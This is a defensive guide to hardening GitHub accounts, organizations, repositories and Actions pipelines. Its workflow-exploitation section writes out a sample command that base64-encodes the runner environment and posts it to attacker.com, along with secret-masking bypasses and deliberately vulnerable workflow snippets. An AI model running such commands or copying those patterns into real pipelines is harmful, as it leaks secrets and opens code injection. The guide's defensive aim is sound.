Authentication & identity
Because GitHub, via the web UI or its API, grants direct access to sensitive code and operations, authentication is the first and most critical security layer. A compromised developer account can allow an attacker to steal intellectual property or insert malicious code, so strong authentication practices are essential.
Use hardened MFA
GitHub has enforced MFA for anyone contributing code since 2023, but not all factors are equal. Prefer FIDO2-compatible hardware security keys (e.g. YubiKeys) over SMS or app-based codes, especially for administrators and anyone contributing to production-critical repositories. Extend MFA to bot and service accounts too. Modern CI/CD pipelines rely on shared automation identities that need the same protection as human accounts.
Secure SSH keys and PATs
A compromised SSH key or personal access token (PAT) is functionally equivalent to a compromised account. Set expiration dates, rotate credentials regularly, disable unused tokens/keys, and periodically audit SSH key fingerprints. Disable password-based Git authentication entirely. It's a foundational step toward modern GitHub security.
Centralize identity with SAML SSO
SAML-based single sign-on gives enterprises central control over access to organization resources. Under SAML, collaborators become Enterprise Managed Users (EMU) connecting through your corporate identity provider, which brings:
- Centralized user management, so onboarding and offboarding happen at the IdP, not inside GitHub itself.
- Unified security policy, meaning MFA, password strength, and session duration are enforced enterprise-wide.
- Less account sprawl, since no separate GitHub credentials means fewer passwords to leak or reuse.
Organization governance
GitHub organizations let many developers collaborate across projects with role-based access control, but that same collaborative surface means a single member's lapse can compromise the whole organization.
Govern third-party access
OAuth Apps and GitHub Apps installed by any member can be granted broad access to your org's data. Treat every integration as a reviewed decision, not a default:
- Only authorize OAuth providers that are verified, trusted, and serve a clear business use case.
- Require security/IT review and approval before any GitHub App installation, enforced via org settings.
- Maintain a documented list of allowed apps, their use cases, and internal owners.
- Regularly review which Apps are installed and which repositories they can reach.
Restrict network access
Enforce IP allow lists to restrict both Git operations and web UI access to trusted ranges such as corporate VPNs, and combine this with SAML SSO for identity-based access control on top of the network layer.
Enable audit logging
Turn on audit logging so admins can review member actions, and export logs via the audit log API to a centralized SIEM for long-term retention, threat detection, and incident investigation. For narrower, event-specific monitoring, GitHub webhooks push notifications when specific events occur in a repo or organization.
Watch identity hygiene at scale
- Flag accounts without MFA, and inactive accounts, stale SSH keys, or unused PATs that linger past when access was needed.
- Flag over-privileged users or apps that have unnecessary admin access or excessive repository permissions.
- Limit the number of organization owners; every additional owner widens the blast radius of one compromised account.
- Review default repository access for members and outside collaborators. Unrestricted-by-default is a common, easy-to-miss misconfiguration.
Repository security
Preventing unwanted access, setting per-contributor RBAC, and preventing accidental deletion or overwriting of code are all central to protecting your intellectual property at the repository level.
Publish a security policy
Add a .github/SECURITY.md file defining contact and disclosure processes. This helps security researchers report issues responsibly and reduces mean time to triage.
Use artifact attestations
Artifact attestations are cryptographically verifiable metadata describing how a software artifact (binary, container image, package) was produced, linking it back to the builder entity to establish trust and reproducibility. Generate them for binaries and container images with GitHub Actions using the attest-build-provenance action; view them afterward in the repository's Actions tab.
Enable branch protection
Main and release branches hold the most tested version of the codebase. Protect them by:
- Requiring status checks, such as test coverage, static security analysis, and linting, to pass before merging.
- Requiring pull requests to be reviewed and approved by assigned reviewers.
- Enforcing linear history to keep the commit graph clean and auditable.
- Preventing deletion of critical branches.
Layer on GitHub rulesets
Rulesets are policies that regulate how contributors interact with a repository, beyond what branch protection alone covers:
- Push restriction limits who can push to protected branches.
- Tag creation governs who can create tags.
- File paths: blocks commits touching sensitive files (e.g.
.github/workflows/,.env, IaC files). - Secrets push protection scans for and blocks committed secrets, and periodically scans historical commits and private repos for exposure.
- Restrict file types/extensions: blocks risky file types (e.g.
.exe,.zip) from being committed. - Restrict file size: prevents oversized files from being pushed.
CI/CD & GitHub Actions security
GitHub Actions often holds the keys to your entire infrastructure, yet rarely gets the scrutiny it deserves. CI/CD is the crown jewel of the pipeline for three reasons at once: it executes code by design, it accumulates credentials across every system it touches, and its runners typically have broad or unrestricted outbound network access. A compromised pipeline hands an attacker code execution, secrets, and a free exfiltration channel in one place.
Know your secret hierarchy
- Repository secrets are usable by any workflow in that repo, including (depending on settings) fork PRs. The most common and least granular tier.
- Environment secrets are scoped to named environments (staging, production) and only reachable when a workflow explicitly targets that environment. These can carry real protection rules (required reviewers, branch restrictions, wait timers), but only if you actually configure them; most orgs don't.
- Organization secrets are convenient, but if visibility is set to all repositories, one compromised workflow can reach every repo's secrets at once.
- Enterprise secrets flow to every org and repo beneath them: the maximum possible blast radius.
Know what each credential type actually grants
GITHUB_TOKENis auto-generated per run, but defaults to read+write on most repository resources and is handed to every third-party action your workflow calls. Setpermissions: read-allat the top of every workflow and escalate explicitly only where needed.- Classic PATs are scoped all-or-nothing at the category level (checking
repogrants full read-write to every repository), never expire unless an org policy forces it, and inherit the creating user's own permissions. A leaked classic PAT from an org admin is one of the highest-value credentials an attacker can find. - Fine-grained PATs are scoped to specific repositories, with required expiry and separate read/write permissions. Strictly better, but migration effort has slowed adoption.
How workflows actually get exploited
An attacker with write access can open a pull request adding a workflow that triggers on a normal event and simply dumps the runner's environment, including any secret referenced anywhere in the workflow, the GITHUB_TOKEN, and credentials set up by prior steps (e.g. cloud provider actions), since the environment is always richer than what the workflow YAML alone suggests:
printenv | base64 -w0 | curl -sS -X POST \
-H "Content-Type: application/octet-stream" \
--data-binary @- https://attacker.com/collectGitHub masks known secret values in logs, but masking only guards against accidental exposure. It is trivially bypassed by encoding or splitting a value before printing it, so it is not a control an attacker actually has to work around:
echo $SECRET_VALUE | base64 # masking doesn't apply to encoded output
echo ${SECRET_VALUE:0:4} # or split across multiple statementsThe whole loop routinely completes in under five minutes, well before any human notices: recon via the public API (which returns secret names but never values, and leaves no audit trail on Team/Free plans), workflow injection, exfiltration, and cleanup (deleting the branch and attempting to remove the run logs). Log monitoring alone will not catch a determined attacker; the goal has to be making the attempt itself fail or yield nothing of value.
Harden the workflow definition itself
- Default every workflow to least privilege, and only escalate specific jobs that need more:
permissions:
contents: read
pull-requests: write # only if actually neededNever set permissions: write-all, and never leave permissions unset when calling third-party actions.
- Restrict which actions can run at all to GitHub-verified creators or your own allow-list, rather than trusting arbitrary Marketplace actions.
- Store shared, reusable workflows in a small number of centrally managed repositories to reduce drift and unauthorized edits.
- Require approval for all external contributors' fork pull requests before their workflows run.
- Never use self-hosted runners, especially non-ephemeral ones, on public repositories; isolate runners by trust level.
- Alert on any workflow-file change, particularly ones touching permissions or token/secret usage.
Pin third-party actions to a commit SHA, not a tag
Referencing an action by a mutable tag or branch name means its underlying code can change at any time without your knowledge. A malicious or vulnerable update propagates into your workflow silently.
# Vulnerable (mutable references)
uses: actions/checkout@v4
uses: actions/checkout@main
# Secure (pinned to an exact commit)
uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11Pinning trades away automatic security patches, so pair it with a dependency-update strategy (e.g. Dependabot) to periodically bump pinned SHAs, and verify each new hash genuinely belongs to the original repository, to avoid pulling in an "imposter commit" from a fork. Scanning pinned dependencies with a tool like OpenSSF Scorecard is a useful supplement.
Be deliberate with pull_request_target
pull_request deliberately withholds write access and secrets from fork-originated runs. pull_request_target was built to restore that access for legitimate cases, but if that workflow then checks out and executes the untrusted PR's own code, it hands an attacker code execution with write/secrets access (a "pwn request"):
# Vulnerable
on:
pull_request_target: # dangerous trigger
permissions:
contents: write
secrets: write
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm run buildPrefer splitting into two workflows instead; untrusted code never runs anywhere near a secret:
# Safer (read-only workflow validates untrusted code)
on:
pull_request:
permissions:
contents: read
jobs:
lint:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
- run: npm run lint
# A second, privileged workflow_run job then processes only the
# sanitized artifacts from this run, never the PR's own code.If you must use pull_request_target directly (e.g. to comment on PRs), gate it to internal contributors only:
if: github.event.pull_request.head.repo.full_name == 'your-org/repo'Never interpolate untrusted input into a shell
Passing PR-controlled text straight into a run: step is classic script injection, because it's evaluated by a real shell:
# Vulnerable
- name: echo PR title
run: echo "${{ github.event.pull_request.title }}"Force it through an environment variable (or a JS runtime) instead, so it's always treated as an inert string:
# Safer
- name: echo PR title
env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "$TITLE"Design as if a credential will leak
The organizations that get hurt are the ones that treat CI/CD security as an afterthought. Assume a PAT or token will eventually leak, and architect so that leak yields as little as possible:
- OIDC federation over static cloud credentials, with the trust policy locked to a specific repository and branch, not a wildcard:
{
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:sub":
"repo:myorg/myrepo:ref:refs/heads/main",
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}- Prefer environment secrets with required-reviewer protection rules over convenient, org-wide secrets.
- Namespace secrets per service/environment rather than sharing one credential across repositories.
- Periodically inventory every org secret and its visibility. The results are usually surprising.
- Disable classic PATs organization-wide where feasible, and enforce a maximum PAT lifetime (90 days is a reasonable default).
- Prefer GitHub Apps over service-account PATs for automation, which brings first-class identity, short-lived tokens, repo-scoping, and visible activity.
- Write and rehearse a credential-rotation runbook before you need it: revoke, enumerate exposure, rotate in sensitivity order, review logs.
A reasonable default ("golden path") workflow shape to build new pipelines from:
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- uses: actions/checkout@<SHA>
# ... test steps
deploy:
runs-on: ubuntu-latest
needs: test
if: github.ref == 'refs/heads/main'
environment: production
permissions:
contents: read
id-token: write
steps:
- uses: actions/checkout@<SHA>
- uses: aws-actions/configure-aws-credentials@<SHA>
with:
role-to-assume: arn:aws:iam::...:role/github-actions-myrepo-deploy